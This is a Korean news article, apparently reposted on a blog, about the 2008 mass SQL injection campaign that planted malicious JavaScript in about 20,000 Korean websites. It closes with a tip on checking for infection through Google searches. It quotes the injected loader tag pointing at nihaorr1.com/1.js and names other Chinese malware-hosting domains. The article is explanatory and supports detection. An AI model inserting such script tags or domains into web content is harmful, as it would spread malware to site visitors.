hack.jpg

구글 검색엔진에 포착된 SQL 인젝션 해킹 피해 흔적. 대부분 기관 홈페이지의 데이터베이스가 무차별 유린 당했다. / 서명덕 기자


주요 공공기관 및 기업 홈피 악성코드 대량감염 확인
UN-英정부까지 ‘발칵’…SQL 인젝션 공격 방어 시급

한국도 해외에서 유행하고 있는 신종 해킹으로부터 안전지대가 아니었다.

국제연합(UN)과 영국 정부 등 전 세계 50여만 대 서버가 ‘대규모 SQL 인젝션’ 해킹 공격을 받아 파문이 일고 있는 가운데 <4월 29일 조선일보 인터넷판 단독보도> 국내에서도 동일한 방법으로 경찰서, 지자체, 대학교, 일반 기업 등을 가리지 않고 홈페이지가 무차별적으로 공격을 받은 흔적이 발견돼 파장이 예상된다.

조선일보가 30일 업계 전문가와 구글 검색엔진의 도움을 받아 확인한 자료에 따르면 일부 경찰서, 소방서, 일부 대학, 일부 공공기관 및 공공단체의 홈페이지 등 수 많은 국내 웹사이트가 악성 자바스크립트가 악의적으로 SQL 데이터베이스에 삽입되는 해킹 공격(SQL 인젝션)을 받은 것으로 파악됐다.

데이터베이스란 웹사이트 데이터를 저장해 두고 조건에 맞춰 수시로 활용하는 공간으로, 인터넷 게시판 등을 운영할 때 필수적이다. 이러한 데이터가 손쓸 틈 없이 해커에 의해 대량으로 변조되는 공격을 당했다는 뜻이다.

특히 이번에 발견된 자바스크립트는 단순히 데이터를 어지럽히는 것이 아니라 악성 코드가 삽입되어 있는 곳으로 유도하기 때문에 홈페이지 방문자들에게 직접적인 피해를 줄 수도 있다. 해당 홈페이지를 방문하는 사람들에게 악성 코드를 배포하며 개인 PC를 교란한다. 정상적인 홈페이지가 악성코드 유포 창구로 바뀌는 것이다.

이번 해킹 피해 흔적은 구글 검색을 통해 확인이 가능하다는 점에서 눈길을 끈다. 닷케이알(.co.kr) 도메인을 사용하는 한국 사이트를 조사해 본 결과, 악성 코드를 유포하는 자바스크립트인 ‘1.js’ 파일이 임의 삽입된 곳 1만2600개로 가장 많았고, ‘fuckjp.js’ 파일과 ‘0.js’ 파일 공격은 각각 5200개와 4900개에 달했다. 어림잡아 2만개가 넘는 웹사이트가 중국발 해킹에 무방비로 노출된 셈이다. 닷컴(.com) 도메인을 사용하는 한국 웹사이트까지 조사한다면 피해는 기하급수적으로 늘어날 수밖에 없다.

해킹 공격을 받은 웹사이트 중에는 원주경찰서 홈페이지도 있었고, 인제군, 전라남도선거관리위원회 등도 피해를 입었다. 이 밖에도 한국신문윤리위원회, 경북지역환경기술개발센터, 한국과학문화재단, 중소기업협력센터, 한국희귀의약품센터, 민주화운동기념사업회, 한국의료분석원 홈페이지도 해킹 공격 흔적이 발견됐다. 악성 스크립트에 감염된 기업 홈페이지도 다량으로 쏟아졌다. 게다가 대다수 국내외 홈페이지들이 해킹 피해를 받고도 피해 사실을 전혀 모르거나 피해 흔적을 지우지 않고 있어 동일한 수법의 공격이 재발할 가능성은 매우 높다.

ms_secu.jpg

MS는 25일 지난 주부터 발생하고 있는 '대량 SQL 삽입 공격'에 대해 "개발자들이 개발 원칙을 지켜야 한다"고 공식 공지했다. / 서명덕 기자


◆대량 SQL 인젝션 해킹, 어떻게 진행되나

해킹을 당한 웹사이트들은 공통적으로 <script src="http://악성코드 배포 웹사이트/악성코드가 담긴 자바스크립트"> 형태의 소스가 마구잡이로 삽입되어 있다. 핀란드 보안업체 F시큐어(F-Secure)는 24일 공식 블로그에서 “전 세계 51만개 이상의 웹사이트가 이미 피해를 입은 상태”라고 경고하고 있다. 그러나 정확한 피해 규모를 가늠하기도 어려운 상황이다.

국내 보안업계 관계자는 “DB 테이블 중에서 텍스트 형태로 된 칼럼을 찾아서 <script src=nihaorr1.com/1.js></script> 를 강제로 추가하는 것 같다”며 “한마디로 이런 공격은 너무 지독하다. 웹 사이트를 걸레로 만든다는 표현도 가능할 것 같다”고 말했다.

악성 코드를 유포하는 곳은 대부분 nihaorr1.com , haoliuliang.net , 2117.net , 2117966.net 등으로 불리는 중국 발 도메인이다. 관계 당국에서도 이러한 해외 보안 보고서를 파악하고 네트워크 단에서 트래픽을 차단하고 있는 것으로 알려졌다.

이번 사건은 마이크로소프트(MS)의 알려지지 않은 취약점(일명 제로데이 공격) 때문이라는 미확인 소문이 돌았지만 사실이 아닌 것으로 확인됐다. 빌 시스크(Bill Sisk) MS 보안 응답 센터(MSRC) 관계자는 25일 공식 블로그에서 “이번 SQL 인젝션 공격은 IIS 6.0, ASP, ASP.Net 이나 MS SQL 핵심 기술과 무관하다”며 “SQL 공격을 막기 위해 웹사이트 개발자들은 공식 웹사이트에 있는 보안 개발 방식을 준수해야 한다”고 지적했다. 개발자들이 SQL 개발 원칙을 지키지 않은 것이 문제라는 설명이다.

해외 전문가들 역시 “빈약한 SQL 코딩 기술이 최근 잇달아 불거진 SQL 인젝션 공격을 야기했다”며 “개발자들은 반드시 업계 표준 개발 방식을 준수해야 한다”고 지적하고 있다.

업계 관계자는 “이미 지난주부터 관련 해킹 이슈가 해외에서 터져 나와 보안 전문가들 사이에서 논의가 조금씩 되고 있는 상황”이라며 “특히 홈페이지 변조가 아니라 데이터베이스 데이터를 직접 건드린다는 점에서 서버 관리자의 각별한 주의가 필요하다”고 말했다.

un.jpg

이번 사고가 발생한 악성 코드 루틴을 구글에서 검색하면, UN 웹사이트의 일부는 여전히 악성 코드에 감염된 상태다. / 서명덕 기자


SQL 인젝션(Injection) 공격 = 데이터베이스(DB) 서비스인 ‘SQL’의 쿼리 문자열 사이에 특정 악성 코드를 몰래 삽입해 넣은 뒤 실행시키는 해킹 공격 방법이다. XSS(크로스 사이트 스크립팅)과 함께 해커들이 가장 즐겨 사용한다.

서명덕 기자

<편집자 주>구글에서 해킹 공격피해 확인하는 방법

(1) 특정 웹사이트(예를 들어 abcde.com)의 공격 여부를 확인하기 위해서는 검색 창에서 ‘site:abcde.com 0.js’ ‘site:abcde.com 1.js’ ‘site:abcde.co.kr fuckjp.js’ 라고 입력하면 된다.

(2) 이번에 주요 공격 원인이었던 악성코드 유포 웹사이트 주소를 통해 직접 확인하는 방법도 있다. 예를 들어 abcde.com의 공격 피해 여부를 확인하기 위해서는 ‘inurl:abcde.com www.nihaorr1.com’라고 검색하면 된다. 이를 통해 해커들이 임의로 악성코드를 삽입한 흔적을 파악할 수 있다.
이 게시물을..

안녕하세요. 블로거 '떡이떡이' 입니다.

여기, 자주 오실 필요 없어요~
하루에 1분만 보면 돈되는 정보 하나를 얻어갈 수 있는, '정보블로그'를 추구합니다.

많이 얻어가세요! 헐헐헐헐~